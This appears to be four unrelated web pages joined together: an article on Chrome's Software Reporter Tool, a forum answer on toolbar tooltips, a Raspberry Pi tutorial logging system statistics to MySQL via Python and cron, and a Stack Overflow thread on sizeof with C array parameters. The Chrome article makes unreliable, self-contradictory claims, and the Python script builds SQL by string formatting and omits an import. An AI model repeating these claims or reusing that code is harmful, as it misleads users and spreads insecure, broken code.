That’s why, the user is unaware of this application. the main function of chrome software reporter tool is to send scheduled reports to chrome regarding any suspicious software present in your PC that may affect your browsing experience. The Software Reporter Tool is an executable file which is why it works automatically.
What is Software Reporter Tool
What is Software Reporter Tool | Issues and Solutions?
Chrome software reporter tool helps to keep malicious programs away from your browser and keeps it smooth. It has some issues too, find the solution here.’
What is Reporter Tool High CPU issue?
This software reporter tool also has some drawbacks, one of its main drawbacks is that it makes your CPU high because it is running multiple times in the background.
To see this thing you need to open ‘Task Manager’ by pressing ctrl+alt+del. There you will notice ‘software_reporter_tool.exe’ running multiple instances. Users have reported that this thing can occupy more than 50% of system memory which certainly makes the CPU slower.
The question is why this happens? It happens because the chrome software reporter tool is a self-executable application and while you are using the browser and any page crashes then the tool becomes active and if this process gets repeated then your computer becomes slow.
And the second issue chrome software reporter tool makes is by getting hanged, the software won’t respond and your google chrome gets stuck. This also makes you equally annoyed.
Where to find Chrome Software Reporter Tool?
Software reporter tool is installed through google chrome and it is located in the chrome application data folder inside the SwReporter folder with the name of ‘software_reporter_tool.exe’. This folder also contains other files regarding your chrome like saved passwords, bookmarks and settings.
There are multiple ways to open the location of software_reporter_tool.
What is Software Reporter Tool
What is Software Reporter Tool
Method 1:
Open the task manager and right click on ‘software_reporter-tool.exe’ then click ‘Open File Location’.
There you will find the ‘software_reporter_tool.exe’ file which is an executable application.
Method 2:
Open ‘Run Dialog Box’ by pressing ‘windows key + R’ at the same time.
Then insert below given syntax and press enter
Syntax: %localappdata%\Google\Chrome\User Data\SwReporter
Is Software Reporter Tool a virus?
No, This isn’t a virus at all. The software reporter tool is a Google application that gets installed with google chrome browser and it is completely safe. This is only a Google certified and authentic Google app which helps to keep your browser safe. Another important thing for you to know is that chrome software reporter tool does not have network connection of any kind which clearly means that it only sends reports to google.
No antivirus software has ever detected software reporter tool as a virus.
Diff. b/w Chrome Software Reporter Tool and Chrome Clean-up Tool.
Both of the applications have the same purpose, the chrome software reporter tool and chrome cleanup tool both detect suspicious applications from your system and ask you to delete them.
The software reporter tool is attached with the cleanup tool of google chrome and it sends the report to the cleanup tool and then the google chrome browser asks the user to delete those applications causing interference in smooth browsing with the help of cleanup tool. This is why both applications exist and also have their separate functionalities.
This tool is very helpful in creating good user experience and keeping suspicious softwares away from your PC that would harm you in any possible way. Here the main concern of users is regarding the memory consumption of software_reporter_tool that it slows down the PC but this happens only in few cases mostly when some cheap third-party software is installed that causes problems again and again for the browser; otherwise, it only takes about twenty to twenty-five minutes at max for completely scanning the PC.
Common Issues of Chrome Software Reporter Tool
• It may run multiple times in the background resulting in a high CPU because it will occupy RAM and disk space, slowing down the processing.
• Software_Reporter_Tool gets crashed which also makes your browser stuck and starts showing errors.
• It may delete necessary chrome add-ons installed by you because they may seem to be suspicious.
• It also scans your system and sends reports in form of metadata that may harm your privacy concerns.
Can I disable the Software Reporter tool?
Yes, you can delete files of software_reporter_tool.exe or completely uninstall it from your pc, you can also rename it which will prevent it from executing automatically. But, keep in mind that this software will be installed again when you update your browser so you may need to remove it again after updating.
How to Disable Software_Reporter_Tool?
You can disable the software reporter tool in multiple ways and, we have created a step-by-step guide to help doing this.
This is completely your personal preference if you want to disable this tool. Overall it works fine and also prevents you from malware.
Click on this link to learn multiple methods of disabling this tool.
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Tooltip Text
Hello,
How do I put a tooltip text on my toolbar buttons? Any coding required? If yes, please show me how to do it. If not, then where do I set the text?
The prompt comes in the status bar, which is far down on the screen. Too difficult to be noticed.
Please help. Thank you.
cheeonnAsked:
Who is Participating?
Meir RivkinConnect With a Mentor Full stack Software EngineerCommented:
in the properties of each toolbar button there is a place to add text for the statusbar and for the tooltip.
look for "Prompt" edit box...
the syntax is this:
"statusbar text\ntooltip text"
notice that there's \n in the middle, this is for VC to differ between the text for the statusbar and the text for the tooltip.
good luck
0
tdaoudCommented:
I assume your toolbat buttons are mapped to Menu commands that you also have on your menus.
In that case go to the menu command and where you type text that appears in the status bar, add to it "\nTool tip text" at the end of it.
for example if you have a menu command that edit employees you might have in its status bar text
"Manage employees database\nManage Employees"
So the first part before "\n" is the status bar text and the part after is the tooltip for the button of the same function.
No programming required.
Good Luck,
Tarik
0
cheeonnAuthor Commented:
Thank you all. Anyway, I found the method already. Thanks
0
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D3 Tips and Tricks v6
Wednesday, 11 February 2015
Raspberry Pi System Information Measurement: 2. Record
The following post is a section of the book 'Raspberry Pi: Measure, Record, Explore'. The entire book can be downloaded in pdf format for free from Leanpub or you can read it online here.
Since this post is a snapshot in time. I recommend that you download a copy of the book which is updated frequently to improve and expand the content.
---------------------------------------
This is the second of three posts working through a project looking at Measuring Recording and Exploring system information from and with the Raspberry Pi.
Record
To record this data we will use a Python program that checks all the the values and writes them into our MySQL database along with the current time stamp.
Our Python program will only write a single group of readings to the database and we will execute the program at a regular interval using a cron job in the same way as the multiple temperature sensor project.
Database preparation
First we will set up our database table that will store our data.
Using the phpMyAdmin web interface that we set up, log on using the administrator (root) account and select the ‘measurements’ database that we created as part of the initial set-up.
Create the MySQL Table
Create the MySQL Table
Enter in the name of the table and the number of columns that we are going to use for our measured values. In the screenshot above we can see that the name of the table is ‘system_info’ and the number of columns is ‘5’.
We will use five columns so that we can store our four readings (system load, used ram, used disk and CPU temperature).
Once we click on ‘Go’ we are presented with a list of options to configure our table’s columns. Again, we are going to keep the process as simple as practical and while we could be more economical with our data type selections, we’ll err on the side of simplicity.
Configure the MySQL Table Columns
Configure the MySQL Table Columns
For the first column we can enter the name of the ‘Column’ as ‘load’ with a type of ‘REAL’. Our second column is ‘ram’ and our third is ‘disk’. Both of these should have a type of ‘TINYINT’. Then we have a column for ‘temperature’ and the type is ‘FLOAT’. Lastly we include the column ‘dtg’ (short for date time group) the type as ‘TIMESTAMP’ and the ‘Default’ value as ‘CURRENT_TIMESTAMP’.
Save the MySQL Table Columns
Save the MySQL Table Columns
Scroll down a little and click on the ‘Save’ button and we’re done.
Why did we choose those particular settings for our table?
Our system load readings will vary from 0 up and will hopefully spend most of their time as a decimal less than 1. However, sometimes it will exceed this. Our ‘temperature’ readings will also be a decimal value. Assigning them both a REAL data type allows us to recorded values where the number can have a maximum of 65 Digits, with 30 digits after decimal point (that should be plenty).
Both ‘ram’ and ‘disk’ will be integers, but since they will both be percentage values which will not exceed 100% we can use the ‘TINYINT’ type which allows values from -128 to 127 (or 0 to 255 if they’re unsigned).
Our ‘dtg’ column needs to store a value of time that includes the date and the time, so the advantage of selecting TIMESTAMP in this case is that we can select the default value to be the current time which means that when we write our data to the table we only need to write the ‘temperature’ and ‘sensor_id’ values and the ‘dtg’ will be entered automatically for us. The disadvantage of using ‘TIMESTAMP’ is that it has a more limited range than DATETIME. TIMESTAMP can only have a range between ‘1970-01-01 00:00:01’ to ‘2038-01-19 03:14:07’.
Record the system information values
The following Python code is a script which allows us to check the system readings from the Raspberry Pi and writes them to our database.
The full code can be found in the code samples bundled with this book (system_info.py).
#!/usr/bin/python
# -*- coding: utf-8 -*-
import subprocess
import os
import MySQLdb as mdb
# Function for storing readings into MySQL
def insertDB(system_load, ram, disk, temperature):
try:
con = mdb.connect('localhost',
'pi_insert',
'xxxxxxxxxx',
'measurements');
cursor = con.cursor()
sql = "INSERT INTO system_info(`load`,`ram`,`disk`,`temperature`) \
VALUES ('%s', '%s', '%s', '%s')" % \
(system_load, ram, disk, temperature)
cursor.execute(sql)
con.commit()
con.close()
except mdb.Error, e:
con.rollback()
print "Error %d: %s" % (e.args[0],e.args[1])
sys.exit(1)
# returns the system load over the past minute
def get_load():
try:
s = subprocess.check_output(["cat","/proc/loadavg"])
return float(s.split()[0])
except:
return 0
# Returns the used ram as a percentage of the total available
def get_ram():
try:
s = subprocess.check_output(["free","-m"])
lines = s.split("\n")
used_mem = float(lines[1].split()[2])
total_mem = float(lines[1].split()[1])
return (int((used_mem/total_mem)*100))
except:
return 0
# Returns the percentage used disk space on the /dev/root partition
def get_disk():
try:
s = subprocess.check_output(["df","/dev/root"])
lines = s.split("\n")
return int(lines[1].split("%")[0].split()[4])
except:
return 0
# Returns the temperature in degrees C of the CPU
def get_temperature():
try:
dir_path="/opt/vc/bin/vcgencmd"
s = subprocess.check_output([dir_path,"measure_temp"])
return float(s.split("=")[1][:-3])
except:
return 0
got_load = str(get_load())
got_ram = str(get_ram())
got_disk = str(get_disk())
got_temperature = str(get_temperature())
insertDB(got_load, got_ram, got_disk, got_temperature)
This script can be saved in our home directory (/home/pi) and can be run by typing;
python system_info.py
While we won’t see much happening at the command line, if we use our web browser to go to the phpMyAdmin interface and select the ‘measurements’ database and then the ‘system_info’ table we will see a range of information for the different system parameters and their associated time of reading.
System info in MySQL
System info in MySQL
As with our previous project recording multiple temperature points, this script only records a single line of data whenever it is run. To make the collection more regular we will put in a cron job later to regularly check and record.
Code Explanation
The script starts by importing the modules that it’s going to use for the process of reading and recording the temperature measurements;
import subprocess
import os
import MySQLdb as mdb
Python code in one module gains access to the code in another module by the process of importing it. The import statement invokes the process and combines two operations; it searches for the named module, then it binds the results of that search to a name in the local scope.
We then declare the function that will insert the readings into the MySQL database;
def insertDB(system_load, ram, disk, temperature):
try:
con = mdb.connect('localhost',
'pi_insert',
'xxxxxxxxxx',
'measurements');
cursor = con.cursor()
sql = "INSERT INTO system_info(`load`,`ram`,`disk`,`temperature`) \
VALUES ('%s', '%s', '%s', '%s')" % \
(system_load, ram, disk, temperature)
cursor.execute(sql)
con.commit()
con.close()
except mdb.Error, e:
con.rollback()
print "Error %d: %s" % (e.args[0],e.args[1])
sys.exit(1)
This is a fairly simple insert of the values we will be collecting into the database.
Then we have our four functions that collect our system information;
load
As described in the earlier section we will be extracting information out of the /proc/loadavg file. Specifically we will extract the average load for the last minute. We are going to accomplish this using the following code;
def get_load():
try:
s = subprocess.check_output(["cat","/proc/loadavg"])
return float(s.split()[0])
except:
return 0
The code employs the subprocess module (which we loaded at the start of the script) which in this case is using the check_outputconvenience function which will run the command (cat) and the argument (/proc/loadavg). It will return the output as a string (0.14 0.11 0.13 1/196 16991) that we can then manipulate. This string is stored in the variable s.
The following line returns the value from the function. The value is a floating number (decimal) and we are taking the first part (split()[0]) of the string (s) which by default is being split on any whitespace. In the case of our example string (0.14 0.11 0.13 1/196 16991) that would return the value 0.14.
If there is a problem retrieving the number it will be set to 0 (except: return 0).
ram
As described in the earlier section we will be extracting information out of the results from running the free command with the -margument. Specifically we will extract the used memory and total memory values and convert them to a percentage. We are going to accomplish this using the following code;
def get_ram():
try:
s = subprocess.check_output(["free","-m"])
lines = s.split("\n")
used_mem = float(lines[1].split()[2])
total_mem = float(lines[1].split()[1])
return (int((used_mem/total_mem)*100))
except:
return 0
The code employs the subprocess module (which we loaded at the start of the script) which in this case is using the check_outputconvenience function which will run the command (free) and the argument (-m). It will store the returned multi-line output showing memory usage in the variable s. The output from this command (if it is run from the command line) would look a little like this;
total used free shared buffers cached
Mem: 437 385 51 0 85 197
-/+ buffers/cache: 102 335
Swap: 99 0 99
We then split that output string line by line and store the result in the array lines using lines = s.split("\n").
Then we find the used and total memory by looking at the second line down (lines[1]) and extracting the appropriate column (split()[2] for used and split()[1] for total).
Then it’s just some simple math to turn the memory variables (used_mem and total_mem) into a percentage.
If there is a problem retrieving the number it will be set to 0 (except: return 0).
disk
As described in the earlier section we will be extracting information out of the results from running the df command with the /dev/rootargument. Specifically we will extract the percentage used value. We will accomplish this using the following code;
def get_disk():
try:
s = subprocess.check_output(["df","/dev/root"])
lines = s.split("\n")
return int(lines[1].split("%")[0].split()[4])
except:
return 0
The code employs the subprocess module (which we loaded at the start of the script) which in this case is using the check_outputconvenience function which will run the command (df) and the argument (/dev/root). It will store the returned multi-line output showing disk partition usage data in the variable s.
We then split that output string line by line and store the result in the array lines using lines = s.split("\n").
Then, using the second line down (lines[1])…
/dev/root 7513804 2671756 4486552 38% /
… we extracting the percentage column (split()[4]) and remove the percentage sign from the number (split("%")[0]). The final value is returned as an integer.
If there is a problem retrieving the number it will be set to 0 (except: return 0).
temperature
As described in the earlier section we will be extracting the temperature of the Raspberry Pis CPU the vcgencmd command with themeasure_temp argument. We will accomplish this using the following code;
def get_temperature():
try:
dir_path="/opt/vc/bin/vcgencmd"
s = subprocess.check_output([dir_path,"measure_temp"])
return float(s.split("=")[1][:-3])
except:
return 0
The code employs the subprocess module (which we loaded at the start of the script) which in this case is using the check_outputconvenience function which will run the command (vcgencmd) and the argument (/dev/root) The vcgencmd command is referenced by its full path name which is initially stored as the variable dir_path and is then used in the subprocess command (this is only done for the convenience of not causing a line break in the code for the book by the way). The measure_temp argument returns the temperature in a human readable string (temp=39.0'C) which is stored in the variable s.
We are extracting the percentage value by splitting the line on the equals sign (split("=")), taking the text after the equals sign and trimming off the extra that is not required ([1][:-3]). The final value is returned as an real number.
If there is a problem retrieving the number it will be set to 0 (except: return 0).
Main program
The main part of the program (if you can call it that) consists of only the following lines;
got_load = str(get_load())
got_ram = str(get_ram())
got_disk = str(get_disk())
got_temperature = str(get_temperature())
insertDB(got_load, got_ram, got_disk, got_temperature)
They serve to retrieve the value from each of our measurement functions and to then send the results to the function that writes the values to the database.
Recording data on a regular basis with cron
As mentioned earlier, while our code is a thing of beauty, it only records a single entry for each sensor every time it is run.
What we need to implement is a schedule so that at a regular time, the program is run. This is achieved using cron via the crontab. While we will cover the requirements for this project here, you can read more about the crontab in the Glossary.
To set up our schedule we need to edit the crontab file. This is is done using the following command;
crontab -e
Once run it will open the crontab in the nano editor. We want to add in an entry at the end of the file that looks like the following;
*/1 * * * * /usr/bin/python /home/pi/system_info.py
This instructs the computer that exert minute of every hour of every day of every month we run the command /usr/bin/python /home/pi/system_info.py (which if we were at the command line in the pi home directory we would run as python system_info.py, but since we can’t guarantee where we will be when running the script, we are supplying the full path to the python command and the system_info.pyscript.
Save the file and the computer will start running the program on its designated schedule and we will have sensor entries written to our database every minute.
The post above (and heaps of other stuff) is in the book 'Raspberry Pi: Measure, Record, Explore' that can be downloaded for free (or donate if you really want to :-)).
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Take the 2-minute tour ×
Stack Overflow is a question and answer site for professional and enthusiast programmers. It's 100% free, no registration required.
I have set the buffer to size 100. I display the buffer in the main function where the buffer is declared. However, when I pass the buffer to the function and get the sizeof '4', I was thinking it should be 100, as that is the size of the buffer that I created in main. output: buffer size: 100 sizeof(buffer): 4
#include <string.h>
#include <stdio.h>
void load_buffer(char *buffer);
int main()
{
char buffer[100];
printf("buffer size: %d\n", sizeof(buffer));
load_buffer(buffer);
return 0;
}
void load_buffer(char *buffer)
{
printf("sizeof(buffer): %d\n", sizeof(buffer));
}
share|improve this question
In main() you explicitly declared an array, whilst in load_buffer() you declared a pointer. The difference is, in main() the compiler knows that buffer is an array, but in load_buffer() the compiler doesn't know whether buffer is from an array, or an allocated peace of memory in the heap, or a struct or whatever. The compiler only knows the memory address (thus a pointer), so sizeof() returns the size of the memory address, which is 4 bytes long (because it's a 32 bits machine, if it was a 64 bits machine, it would be 8 bytes long). Hope this helps to understand a bit more. – AndaluZ Apr 1 at 12:15
4 Answers 4
up vote 16 down vote accepted
You are using the size of the pointer to the buffer (4 bytes), rather than the size of the buffer.
In C, you have to pass the size of the buffer separately, which is part of the reason buffer overruns happen so easily and frequently.
void load_buffer(char * buffer, size_t bufSize)
{
...
}
share|improve this answer
The answers by Mitch Wheat and hhafez are completely right and to the point. I'm going to show some additional information which may prove useful sometimes.
Note that the same happens if you tell the compiler that you have an array of the right size
void load_buffer(char buffer[100]) {
/* prints 4 too! */
printf("sizeof(buffer): %d\n", sizeof(buffer));
}
An array as parameter is just declaring a pointer. The compiler automatically changes that to char *name even if it was declared as char name[N].
If you want to force callers to pass an array of size 100 only, you can accept the address of the array (and the type of that) instead:
void load_buffer(char (*buffer)[100]) {
/* prints 100 */
printf("sizeof(buffer): %d\n", sizeof(*buffer));
}
It's a pointer to the array you have in main, so you need to dereference in the function to get the array. Indexing then is done by
buffer[0][N] or (*buffer)[N]
Nobody I know is doing that and I'm neither doing it myself, because it rather complicates passing of the argument. But it's good to know about it. You can call the function like this then
load_buffer(&buffer)
If you want to accept other sizes too, i would go with the passing-N option the other two answers recommend.
share|improve this answer
+1 For doing a little extra effort – Tom Apr 25 '09 at 2:21
From the OP
void load_buffer(char *buffer)
{
printf("sizeof(buffer): %d\n", sizeof(buffer));
}
Even though you can imagine that load_buffer() is passed the buffer by refrence, what is really happening is you are passing a pointer to char by value. The actual array is not passed so there is no way for the load_buffer() function to know the size of the buffer array
So what is sizeof(buffer) doing? It is simply returning the size of a pointer to char. If load_buffer() needs the size of the buffer it needs to be passed speratly.
Or you can create a new struct that contains both a char array and the size of the array, and pass a pointer to that struct instead, that way the buffer and it's size are always together ;)
share|improve this answer
What happens, is when you pass an array to a function, you only pass the address of the array in the memory, not the size of the array. What sizeof(buffer) is outputting in load_buffer() is the size of the pointer, which is four bytes.
The best way to keep the size of the buffer in the function is to change the function to:
void load_buffer(char *buffer, int length);
and the call to:
load_buffer(buffer, sizeof(buffer));
and then use length whenever you want the size of buffer.
share|improve this answer
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| 0.914066 |
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